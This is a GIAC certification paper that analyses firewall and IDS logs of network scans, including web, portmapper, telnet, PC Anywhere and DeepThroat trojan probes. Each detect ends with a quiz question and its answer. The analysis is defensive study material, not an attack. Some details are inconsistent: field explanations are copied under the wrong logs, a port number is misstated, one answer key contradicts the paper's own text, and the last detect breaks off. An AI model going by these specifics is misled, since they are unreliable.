Global Information Assurance Certification Paper

By: Kevin Miller

Detect 1

11:36:09:14:02:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=202.105.37.34,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=1660,dst port=8080,tcp_flags=0x2,deny,receive

11:36:09:14:02:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=202.105.37.34,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=1661,dst port=80,tcp_flags=0x2,deny,receive

11:36:09:14:02:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=202.105.37.34,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=1662,dst port=3128,tcp_flags=0x2,deny,receive

11:37:11:14:02:2000,ng_end_session,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=202.105.37.34,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=1662,dst port=3128,deny,src pkts=2,src bytes=96,dst pkts=0,dst bytes=0

11:37:11:14:02:2000,ng_end_session,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=202.105.37.34,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=1661,dst port=80,deny,src pkts=2,src bytes=96,dst pkts=0,dst bytes=0

11:37:11:14:02:2000,ng_end_session,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=202.105.37.34,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=1660,dst port=8080,deny,src pkts=2,src bytes=96,dst pkts=0,dst bytes=0

1. Source of Trace
    a. My network

2. Detect was generated by

    a. CyberGuard Firewall (binary logs)

    b. Explanation of fields

    00:13:32:01:06:2000, [Timestamp] **ng_deny,** [event type - **ng_deny** is discard a packet as instructed by a packet-filtering rule] **P-1,** [Process id number - due to streams processing –1 is displayed for the process preceded by the letter P] **s,** [outcome of event either s for success or f for failure] **60001:60001,** [User(Real:Effective) if names cannot be found the user ID is displayed] **nobody:nobody,** [Group(Real:Effective) for network events for which a group name or ID is not known the group name nobody is displayed] **S-1,** [Session ID preceded by the letter S. –1 is

printed to indicate that the session ID is not known], **src addr=202.235.50.12,** [source address] **src intf=dec1,** [Source interface] **dst addr=AAA.BBB.5.1**, [Destination address] **dst intf=lo0**,[Destination interface] **tcp**, [protocol] **src port=65535**, [source port] **dst port=8080**, [destination port] **tcp_flags=0x2**, [tcp flags 0x2 is SYN] **deny**,[record type, deny a rule blocked the packet] ***receive*** [direction of the packet (receive or transmit)] **src pkts=1**,[number of packets sent from source] ***src bytes=40***, [size in bytes of source packet(s)] **dst pkts=0**, [number of packets sent from destination] ***dst bytes=0*** [size in bytes of destination packet(s)]

3. Probability the source address was spoofed.
    a. Low. IP address belongs to a range registered to China Telecom

4. Description of Attack
    a. Scan is for web servers on ports 80, 8080 and squid proxy on 3128.

5. Attack Mechanism
    a. Attack is reconnaissance. This type of scan can provide a lot of information to an attacker if a webserver is present. Port 80 (TCP) is generally used for HTTP it can be found on other ports. This service is on by default on any windows system. Once fingerprinted exploits based on version and services could be attempted to gain control of the machine. CGI vulnerabilities could reveal information such as /etc/passwd information.

6. Correlations
    a. This Information scan was discussed in the Wednesday Intrusion Detection Analysis – Shadow Style class (Wed-2) (page 279 - 283 in the text)

7. Evidence of Active Targeting
    a. This attack was generated at this specific host

8. Severity
    a. (critical + Lethal) – (System + Net Countermeasures) = Severity
    b. (4+3) – (5+5) = -3

9. Defensive recommendation
    a. Defenses are fine. CyberGuard Firewall blocked attack.

10. Multiple Choice Question:
    The TCP flags set indicate

A) Only SYN is set
B) Both SYN and ACK are set
C) Only ACK is set
D) No flags are set

Answer A)

Complete Detect 2

00:13:32:01:06:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=202.235.50.12,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=65535,dst port=8080,tcp_flags=0x2,deny,receive

00:14:33:01:06:2000,ng_end_session,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=202.235.50.12,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=65535,dst port=8080,deny,src pkts=1,src bytes=40,dst pkts=0,dst bytes=0

1. Source of Trace
   a. My network

2. Detect was generated by
   a. CyberGuard Firewall (binary logs)
   b. Explanation of fields

      00:13:32:01:06:2000, [Timestamp] ***ng_deny,*** [event type - **ng_deny** is discard a packet as instructed by a packet-filtering rule] ***P-1,*** [Process id number - due to streams processing –1 is displayed for the process preceded by the letter P] ***s,*** [outcome of event either s for success or f for failure] ***60001:60001,*** [User(Real:Effective) if names cannot be found the user ID is displayed] ***nobody:nobody,*** [Group(Real:Effective) for network events for which a group name or ID is not known the group name nobody is displayed] ***S-1***, [Session ID preceded by the letter S. –1 is printed to indicate that the session ID is not known],***src addr=202.235.50.12***, [source address] ***src intf=dec1,*** [Source interface] ***dst addr=AAA.BBB.5.1***, [Destination address] ***dst intf=lo0***,[Destination interface] ***tcp***, [protocol] ***src port=65535***, [source port] ***dst port=8080***, [destination port] ***tcp_flags=0x2***, [tcp flags 0x2 is SYN] ***deny***,[record type, deny a rule blocked the packet] ***receive*** [direction of the packet (receive or transmit)] ***src pkts=1***,[number of packets sent from source] ***src bytes=40***, [size in bytes of source packet(s)] **dst pkts=0**, [number of packets sent from destination] ***dst bytes=0*** [size in bytes of destination packet(s)]

3. Probability the source address was spoofed

a. Low, IP address is from a range of IP's registered to Uonumanet, Inc. - IBM Japan

4. Description of Attack
    a. Scan for http server on port 8080.

5. Attack Mechanism
    a. Attack is reconnaissance. Attacker is looking for active webservers on port 8080. Source port is interesting – 65535. This is obviously a crafted packet, possibly a YA Signature IMAP code to search out web servers. The flags are SYN, we have no seq/ack numbers to confirm the signature..

6. Correlations
    a. This Information scan was discussed in the Wednesday Intrusion Detection Analysis – Shadow Style class (Wed-2) (page 279 - 283 in the text)

7. Evidence of Active Targeting
    a. This attack was generated at this specific host

8. Severity
    a. –3

9. Defensive recommendation
    a. Defenses are fine. CyberGuard firewall blocked attack.

10. Multiple Choice Question:
    Is there a way to tell if this attack is using crafted packets?:
        A) Yes by the source port being 65535
        B) Yes by the destination port being 8080
        C) Yes by the tcp flags being 0x2
        D) No there is no way to tell
    Answer A)

Complete Detect 3

17:01:47:27:05:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=151.201.75.10,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=798,dst port=111,tcp_flags=0x2,deny,receive

17:02:47:27:05:2000,ng_end_session,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=151.201.75.10,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=798,dst port=111,deny,src pkts=1,src bytes=44,dst pkts=0,dst bytes=0

1. Source of Trace

a. My network

2. Detect was generated by
   a. CyberGuard Firewall (binary logs)

   b. Explanation of fields

      00:13:32:01:06:2000, [Timestamp] ***ng_deny,*** [event type - **ng_deny** is discard a packet as instructed by a packet-filtering rule] ***P-1,*** [Process id number - due to streams processing –1 is displayed for the process preceded by the letter P] ***s,*** [outcome of event either s for success or f for failure] ***60001:60001,*** [User(Real:Effective) if names cannot be found the user ID is displayed] ***nobody:nobody,*** [Group(Real:Effective) for network events for which a group name or ID is not known the group name nobody is displayed] ***S-1***, [Session ID preceded by the letter S. –1 is printed to indicate that the session ID is not known],***src addr=202.235.50.12***, [source address] ***src intf=dec1,*** [Source interface] ***dst addr=AAA.BBB.5.1***, [Destination address] ***dst intf=lo0***,[Destination interface] ***tcp***, [protocol] ***src port=65535***, [source port] ***dst port=8080***, [destination port] ***tcp_flags=0x2***, [tcp flags 0x2 is SYN] ***deny***,[record type, deny a rule blocked the packet] ***receive*** [direction of the packet (receive or transmit)] ***src pkts=1***,[number of packets sent from source] ***src bytes=40***, [size in bytes of source packet(s)] **dst pkts=0**, [number of packets sent from destination] ***dst bytes=0*** [size in bytes of destination packet(s)]

3. Probability the source address was spoofed
   a. Low. IP address belongs to a range registered to Universal Telecommunications, an ISP.

4. Description of Attack
   a. portmapper connection attempt 111 (TCP).
   b. Access to portmapper can provide information need to pursue an attack against a specific service.

5. Attack Mechanism
   a. Attack is reconnaissance. This type of scan provides a lot of information to an attacker on services running. TCP 111 is the portmapper service. Crafted packet as the source port is a low end port 789 below the 1024.

6. Correlations
   a. This Information scan was discussed in the Wednesday Network - Based Intrusion Detection Analysis class (Thursday 2.4) (page 179 in the text)

7. Evidence of Active Targeting
    a. This attack was generated at this specific host

8. Severity
    a. (critical + Lethal) – (System + Net Countermeasures) = Severity
    b. (5+1) – (5+5) = -4

9. Defensive recommendation
    a. Defenses are fine. CyberGuard firewall blocked attack.

10. Multiple Choice Question:
    Portmapper service can be used for.
        A) Gather information on the services and ports on Winnt
        B) Remote access to Winnt
        C) NFS mount exploit
        D) None of the Above
    Answer C)

Not complete Detect 4

02:59:30:04:05:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=207.175.72.4,src intf=dec1,dst addr=142.165.5.1,dst intf=lo0,tcp,src port=***47850***,dst port=23,tcp_flags=0x1,deny,receive

03:00:52:04:05:2000,ng_end_session,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=207.175.72.4,src intf=dec1,dst addr=142.165.5.1,dst intf=lo0,tcp,src port=***47850***,dst port=23,deny,src pkts=2,src bytes=80,dst pkts=0,dst bytes=0

23:09:32:17:05:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=24.21.70.98,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=***47850***,dst port=23,tcp_flags=0x1,deny,receive

23:09:34:17:05:2000,**ng_deny_fwd**,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=workstation.5.68,src intf=dec1,dst addr=24.21.70.98,dst intf=all,tcp,src port=0,dst port=0,tcp_flags=0x0,deny,receive

23:09:52:17:05:2000,**ng_deny_fwd**,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=workstation.5.68,src intf=dec1,dst addr=24.21.70.98,dst intf=all,tcp,src port=0,dst port=0,tcp_flags=0x0,deny,receive

23:10:51:17:05:2000,ng_end_session,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=24.21.70.98,src intf=dec1,dst addr=cybg.fw,dstintf=lo0,tcp,src port=***47850***,dst port=23,deny,src pkts=2,src bytes=80,dst pkts=0,dst bytes=0

1. Source of Trace
    a. My network

2. Detect was generated by
    a. CyberGuard Firewall (binary logs)
    b. Explanation of fields
    00:13:32:01:06:2000, [Timestamp] ***ng_deny,*** [event type - **ng_deny** is discard a packet as instructed by a packet-filtering rule] ***P-1,*** [Process id number - due to streams processing –1 is displayed for the process preceded by the letter P] ***s,*** [outcome of event either s for success or f for failure] ***60001:60001,*** [User(Real:Effective) if names cannot be found the user ID is displayed] ***nobody:nobody,*** [Group(Real:Effective) for network events for which a group name or ID is not known the group name nobody is displayed] ***S-1***, [Session ID preceded by the letter S. –1 is printed to indicate that the session ID is not known],***src addr=202.235.50.12***, [source address] ***src intf=dec1,*** [Source interface] ***dst addr=AAA.BBB.5.1***, [Destination address] ***dst intf=lo0***,[Destination interface] ***tcp***, [protocol] ***src port=65535***, [source port] ***dst port=8080***, [destination port] ***tcp_flags=0x2***, [tcp flags 0x2 is SYN] ***deny***,[record type, deny a rule blocked the packet] ***receive*** [direction of the packet (receive or transmit)] ***src pkts=1***,[number of packets sent from source] ***src bytes=40***, [size in bytes of source packet(s)] **dst pkts=0**, [number of packets sent from destination] ***dst bytes=0*** [size in bytes of destination packet(s)]

3. Probability the source address was spoofed

    a. Low, IP 207.175.72.4 belongs to a range registered to MM Internet, Inc. Los Alamitos, CA
    b. Low, IP 24.21.70.98 belongs to a range registered to @Home Network in Redwood City, CA.

4. Description of Attack

    a. Scan for telnet service and OS fingerprinting. Source routing is present.

5. Attack Mechanism
    a. Attack against TCP 23 (Telnet). The attack works by completing the three-way handshake
    b. Attack will work because of a response or no response to the Port 23 (telnet) service query. No service on TCP 23 will cause a icmp port unreachable message. A Syn-Ack response (second part of the three-way hand shake of TCP) indicates to the attacker that a

service is available on Port 23.

c. We known the packets are forged. The source port is constant at 47850. The FIN flag is set (0x1).
d. The ng_deny_fwd is an indication of a source route packet. This could mean a compromise has occurred of host workstation.5.68

6. Correlations
   a. This Information scan was discussed in the Tuesday Intrusion Detection and Packet Filtering: How It Really Works class (Tuesday 2.2) (pages 136 -139 in the text)

7. Evidence of Active Targeting
   a. This attack was generated at this specific host

8. Severity for firewall

   a. (critical + Lethal) – (System + Net Countermeasures) = Severity
   b. (5+1) – (5+5) = -4

      Severity for workstation.5.68
      (2+5) – (3+1) = +3

9. Defensive recommendation
   a. Defenses are fine. CyberGuard Firewall blocked attack.
   b. Workstation.5.68 is not fine. Machine will be removed from network. The machine will be rebuilt and patched then placed behind a restrictive firewall.

10. Multiple Choice Question:
    This TCP flags 0x1 and 0x0 are:
    A) Syn, Nothing
    B) Fin, Rst
    C) Fin, Nothing
    D) Rst, Nothing
    Answer C)

Detect 5

09:52:57:02:02:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=100.100.100.13,src intf=dec1,dst addr=255.255.255.255,dst intf=lo0,udp,src port=1027,dst port=6666,deny,receive

09:55:05:02:02:2000,ng_end_session,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=100.100.100.13,src intf=dec1,dst addr=0.0.0.0,dst intf=lo0,udp,src port=1027,dst port=6666,deny,src pkts=13,src bytes=845,dst pkts=0,dst

bytes=0

1. Source of Trace
    a. My network

2. Detect was generated by
    a. CyberGuard Firewall (binary logs)
    b. Explanation of fields
    00:13:32:01:06:2000, [Timestamp] ***ng_deny,*** [event type - **ng_deny** is discard a packet as instructed by a packet-filtering rule] ***P-1,*** [Process id number - due to streams processing –1 is displayed for the process preceded by the letter P] ***s,*** [outcome of event either s for success or f for failure] ***60001:60001,*** [User(Real:Effective) if names cannot be found the user ID is displayed] ***nobody:nobody,*** [Group(Real:Effective) for network events for which a group name or ID is not known the group name nobody is displayed] ***S-1***, [Session ID preceded by the letter S. –1 is printed to indicate that the session ID is not known],***src addr=202.235.50.12***, [source address] ***src intf=dec1,*** [Source interface] ***dst addr=AAA.BBB.5.1***, [Destination address] ***dst intf=lo0***,[Destination interface] ***tcp***, [protocol] ***src port=65535***, [source port] ***dst port=8080***, [destination port] ***tcp_flags=0x2***, [tcp flags 0x2 is SYN] ***deny***,[record type, deny a rule blocked the packet] ***receive*** [direction of the packet (receive or transmit)] ***src pkts=1***,[number of packets sent from source] ***src bytes=40***, [size in bytes of source packet(s)] **dst pkts=0**, [number of packets sent from destination] ***dst bytes=0*** [size in bytes of destination packet(s)]

3. Probability the source address was spoofed
    a. 100% - IP is an IANA reserved block address.

4. Description of Attack
    a. Script kiddy playing around with nmap.

    or

    b. UDP port scan for Trojan, 6666 (UDP) – TcpShell.c – see appendix A for code listing.

5. Attack Mechanism
    a. Most likely a script kiddy playing around with a tool such as nmap.

    Or

    b. Attacker is scanning for responses to the UDP port 6666 request. If found a no response packet is sent, for host with a close UDP

port 6666 a icmp port unreachable is generated. Because of the source IP being spoofed responses would be passed to the default gateway for further routing. The router would drop these packets. Attacker would need to sniff the network looking for icmp responses to 100.100.100.13 port unreachable. UDP is less than 100% accurate for this type of mapping.

6. Correlations
    a. This Information scan was discussed in the Tuesday Intrusion Detection and Packet Filtering: How It Really Works class (Tuesday 2.2) (pages 107 in the text)

7. Evidence of Active Targeting
    a. This attack was likely generated by a broadcast to the network the firewall is on.

8. Severity
    a. (critical + Lethal) – (System + Net Countermeasures) = Severity
    b. (5+1) – (5+5) = -4

9. Defensive recommendation
    a. Defenses are fine. CyberGuard Firewall blocked attack.

10. Multiple Choice Question:
    The response to a UDP port map is:
        A) No response for active ports, icmp host unreachable response for inactive ports.
        B) No response for active or inactive ports
        C) Icmp port reachable for active ports, no response for inactive ports
        D) No response for active ports, icmp port unreachable response for inactive ports

    Answer D)

Detect 6

19:31:00:03:06:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=client.adsl,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,udp,src port=1173,dst port=5632,deny,receive

19:31:31:03:06:2000,ng_end_session,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=client.adsl,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,udp,src port=1173,dst port=5632,deny,src pkts=1,src bytes=30,dst pkts=0,dst bytes=0

19:31:54:03:06:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src

addr=client.adsl,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,udp,src port=1173,dst port=5632,deny,receive

19:32:24:03:06:2000,ng_end_session,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=client.adsl,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,udp,src port=1173,dst port=5632,deny,src pkts=1,src bytes=30,dst pkts=0,dst bytes=0

19:32:44:03:06:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=client.adsl,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,udp,src port=1173,dst port=5632,deny,receive

19:33:14:03:06:2000,ng_end_session,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=client.adsl,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,udp,src port=1173,dst port=5632,deny,src pkts=1,src bytes=30,dst pkts=0,dst bytes=0

1. Source of Trace
    a. My network

2. Detect was generated by
    a. CyberGuard Firewall (binary logs)
    b. Explanation of fields

    00:13:32:01:06:2000, [Timestamp] ***ng_deny,*** [event type - **ng_deny** is discard a packet as instructed by a packet-filtering rule] ***P-1,*** [Process id number - due to streams processing –1 is displayed for the process preceded by the letter P] ***s,*** [outcome of event either s for success or f for failure] ***60001:60001,*** [User(Real:Effective) if names cannot be found the user ID is displayed] ***nobody:nobody,*** [Group(Real:Effective) for network events for which a group name or ID is not known the group name nobody is displayed] ***S-1***, [Session ID preceded by the letter S. –1 is printed to indicate that the session ID is not known],***src addr=202.235.50.12***, [source address] ***src intf=dec1,*** [Source interface] ***dst addr=AAA.BBB.5.1***, [Destination address] ***dst intf=lo0***,[Destination interface] ***tcp***, [protocol] ***src port=65535***, [source port] ***dst port=8080***, [destination port] ***tcp_flags=0x2***, [tcp flags 0x2 is SYN] ***deny***,[record type, deny a rule blocked the packet] ***receive*** [direction of the packet (receive or transmit)] ***src pkts=1***,[number of packets sent from source] ***src bytes=40***, [size in bytes of source packet(s)] **dst pkts=0**, [number of packets sent from destination] ***dst bytes=0*** [size in bytes of destination packet(s)]

3. Probability the source address was spoofed
    a. Low. IP address belongs one of our ADSL clients.

4. Description of Attack

a. Scan for PC Anywhere (UDP 5632). Scan is using crafted packets, source port constant at 1173.

5. Attack Mechanism
   a. Attack is reconnaissance. This type of scan provides the following information to an attacker. If a service is available on UDP port 5632 then no response will be given, if there is no service then an icmp port unreachable message is returned.

6. Correlations
   a. This Information scan was discussed in the Friday Intrusion Detection Workshop class (Friday 2.5) (page 260 in the text)

7. Evidence of Active Targeting
   a. This attack was generated at this specific host

8. Severity
   a. –1

9. Defensive recommendation
   a. Defenses are fine. CyberGuard Firewall blocked attack.

10. Multiple Choice Question:
    The UDP can be used:
    A) To map networks
    B) To map services on a machine
    C) as a replacement to icmp ping.
    D) All of the Above
    Answer D)

Detect 7

04:06:48:18:03:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=161.58.239.94,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=23,dst port=2009,tcp_flags=0x12,deny,receive

04:07:49:18:03:2000,ng_end_session,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=161.58.239.94,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=23,dst port=2009,deny,src pkts=2,src bytes=84,dst pkts=0,dst bytes=0

04:09:00:18:03:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=161.58.239.94,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=21,dst port=2009,tcp_flags=0x12,deny,receive

04:10:01:18:03:2000,ng_end_session,P-1,s,60001:60001,nobody:nobody,S-

1,,src addr=161.58.239.94,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=21,dst port=2009,deny,src pkts=2,src bytes=84,dst pkts=0,dst bytes=0

1. Source of Trace
    a. My network

2. Detect was generated by
    a. CyberGuard Firewall (binary logs)
    b. Explanation of fields
    00:13:32:01:06:2000, [Timestamp] ***ng_deny,*** [event type - **ng_deny** is discard a packet as instructed by a packet-filtering rule] ***P-1,*** [Process id number - due to streams processing –1 is displayed for the process preceded by the letter P] ***s,*** [outcome of event either s for success or f for failure] ***60001:60001,*** [User(Real:Effective) if names cannot be found the user ID is displayed] ***nobody:nobody,*** [Group(Real:Effective) for network events for which a group name or ID is not known the group name nobody is displayed] ***S-1***, [Session ID preceded by the letter S. –1 is printed to indicate that the session ID is not known],***src addr=202.235.50.12***, [source address] ***src intf=dec1,*** [Source interface] ***dst addr=AAA.BBB.5.1***, [Destination address] ***dst intf=lo0***,[Destination interface] ***tcp***, [protocol] ***src port=65535***, [source port] ***dst port=8080***, [destination port] ***tcp_flags=0x2***, [tcp flags 0x2 is SYN] ***deny***,[record type, deny a rule blocked the packet] ***receive*** [direction of the packet (receive or transmit)] ***src pkts=1***,[number of packets sent from source] ***src bytes=40***, [size in bytes of source packet(s)] **dst pkts=0**, [number of packets sent from destination] ***dst bytes=0*** [size in bytes of destination packet(s)]

3. Probability the source address was spoofed
    a. Low. IP address belongs to a range registered to JvNCnet in Princeton, an ISP.

4. Description of Attack
    a. Most likely a port mapping using a Syn-Ack packets against TCP 21 and 23 (Telnet and ftp). Its either a Syn/Ack mapping scan or
    b. First part of a spoof attack. We only saw the two Syn-Ack attempt on the two ports. For a spoof attack on would expect to see 6-10 packets within 60 seconds.

5. Attack Mechanism
    a. Attack against port 21 and 23 (ftp and telnet) using SYN-ACK. The Syn-Ack packet is the second packet in the tcp three-way handshake. The response to the Syn-Ack packet will be a reset whether the port is open or closed.

or

b. Spoof attack. This scenario is highly unlikely since we saw no Syn connects to the firewall to busy it out. Source IP (Machine A) has been spoofed. The attacker (Machine B) has sent a TCP port 23 Syn packet with a source address of our firewall (Machine C). Machine A has responded to Machine C with a Syn-Ack. Machine C will send a Rst packet to machine A.

6. Correlations
   a. This Information was discussed in the Thursday/Friday Intrusion Detection Workshop classes (Thursday 2.4/Friday 2.5) (pages 87-90, and 303 in the text)

7. Evidence of Active Targeting
   a. This attack was generated at this specific host

8. Severity
   a. (critical + Lethal) – (System + Net Countermeasures) = Severity
   b. (5+4) – (5+5) = -1

9. Defensive recommendation
   a. Defenses are fine. CyberGuard firewall blocked attack.

10. Multiple Choice Question:
    How many SYN packets does it take to busy out or disable a service on a host in an IP spoofing attack?

    A) 6 -10 SYNs every 180 seconds
    B) 1-4 SYNs every 90 seconds
    C) 6-10 SYNs every 60 seconds
    D) 4-6 SYNs every 120 seconds

    Answer A)

Detect 8

```
[**] BACKDOOR SIGNATURE -- DeepThroat 3.1 Client Sending Data to Server on Network [**]
06/12-06:30:35.885875 212.245.211.22:60000 -> our.host.5.3:2140
UDP TTL:12 TOS:0x0 ID:22183
Len: 10
30 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00  00..............
00 00                                            ..

[**] BACKDOOR SIGNATURE -- DeepThroat 3.1 Client Sending Data to Server on Network [**]
06/12-06:30:41.075724 212.245.211.22:60000 -> our.host.5.128:2140
UDP TTL:11 TOS:0x0 ID:54183
Len: 10
```

```
30 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00  00..............
00 00                                            ..
```

```
[**] BACKDOOR SIGNATURE -- DeepThroat 3.1 Client Sending Data to Server on Network [**]
06/12-06:30:41.154367 212.245.211.22:60000 -> our.host.5.130:2140
UDP TTL:11 TOS:0x0 ID:54695
Len: 10
30 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00  00..............
00 00                                            ..
```

```
[**] BACKDOOR SIGNATURE -- DeepThroat 3.1 Client Sending Data to Server on Network [**]
06/12-06:30:44.805923 212.245.211.22:60000 -> our.host.5.218:2140
UDP TTL:11 TOS:0x0 ID:11944
Len: 10
30 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00  00..............
00 00                                            ..
```

1. Source of Trace
    a. My network

2. Detect was generated by
    a. CyberGuard Firewall (binary logs)
    b. Explanation of fields

    06/12-06:30:44.805923 [Time stamp] **212.245.211.22:60000** [source IP and port] -> **our.host.5.218:2140** [destination IP and port] **UDP** [Protocol type] **TTL:11** [time to live] **TOS:0x0** [Type of Service] **ID:11944** [Packet ID number] **Len: 10** [data length in bytes]

3. Probability the source address was spoofed
    a. Low. IP address belongs to a range registered to “WIND Telecomunicazioni SpA” a Global telecommunication Provider in Italy.

4. Description of Attack
    a. Scan for DeepThroat 3.1 Windows trojan on UDP port 2140

5. Attack Mechanism
    a. Attack is reconnaissance. The attacker is looking for host boxes that have the DeepThroat 3.1 software running on them. If found the box can be taken over. Attack works based on a response. The IDS fires based on the distinctive pattern match found. The connection fired for the following match:

    udp 6000 as source port to udp 2140 as destination port.

    b. Taken from IDS87 at www.whitehats.com “Most commonly these trojans

are limited "remote administration tools" that allow an attacker to take complete control over the victim server. Client desktop machines in Window 9x/NT environments are most likely to suffer from trojan infections. Trojans are usually installed by disguise in an email attachment, or hidden in other software available for download."

c. Packets are crafted as all source ports are identical udp 6000.

6. Correlations
   a. IDS87 www.whitehats.com.

7. Evidence of Active Targeting
   a. This attack was generated at this ids host and others on the network.

8. Severity

   a. (critical + Lethal) – (System + Net Countermeasures) = Severity
   b. (2+1) – (5+5) = -4

9. Defensive recommendation
   a. Defenses are fine on the IDS host. Will need to verify with other departments on other hosts scanned IDS host has current patches and has no services turned on and has tcp wrappers installed.

10. Multiple Choice Question:
    The UDP protocol is:
    A) Connection oriented
    B) slow
    C) reliable
    D) None of the Above
    Answer D)

Detect 9

13:13:29:09:02:2000,ng_permit,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=142.165.5.1,dst intf=lo0,icmp,type=8,code=0,permit,receive

13:13:30:09:02:2000,ng_permit,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=142.165.5.1,dst intf=lo0,udp,src port=1435,dst port=53,permit,receive

13:13:33:09:02:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src

port=1441,dst port=7,tcp_flags=0x2,deny,receive

13:13:36:09:02:2000,ng_permit,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=1448,dst port=21,tcp_flags=0x2,proxy,receive

13:13:40:09:02:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=1458,dst port=70,tcp_flags=0x2,deny,receive

13:13:48:09:02:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=1476,dst port=119,tcp_flags=0x2,deny,receive

13:13:56:09:02:2000,ng_permit,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=1516,dst port=25,tcp_flags=0x2,proxy,receive

13:13:57:09:02:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=1517,dst port=37,tcp_flags=0x2,deny,receive

13:14:02:09:02:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=1542,dst port=80,tcp_flags=0x2,deny,receive

13:14:08:09:02:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=1566,dst port=143,tcp_flags=0x2,deny,receive

13:18:08:09:02:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=2197,dst port=80,tcp_flags=0x2,deny,receive

13:18:12:09:02:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=2198,dst port=80,tcp_flags=0x2,deny,receive

13:23:28:09:02:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=2238,dst port=7,tcp_flags=0x2,deny,receive

13:23:34:09:02:2000,ng_permit,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=2244,dst port=21,tcp_flags=0x2,proxy,receive

13:28:46:09:02:2000,ng_permit,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=2934,dst port=21,tcp_flags=0x2,proxy,receive

13:35:36:09:02:2000,ng_deny,P-1,s,60001:60001,nobody:nobody,S-1,,src addr=193.125.239.210,src intf=dec1,dst addr=cybg.fw,dst intf=lo0,tcp,src port=2995,dst port=7,tcp_flags=0x2,deny,receive

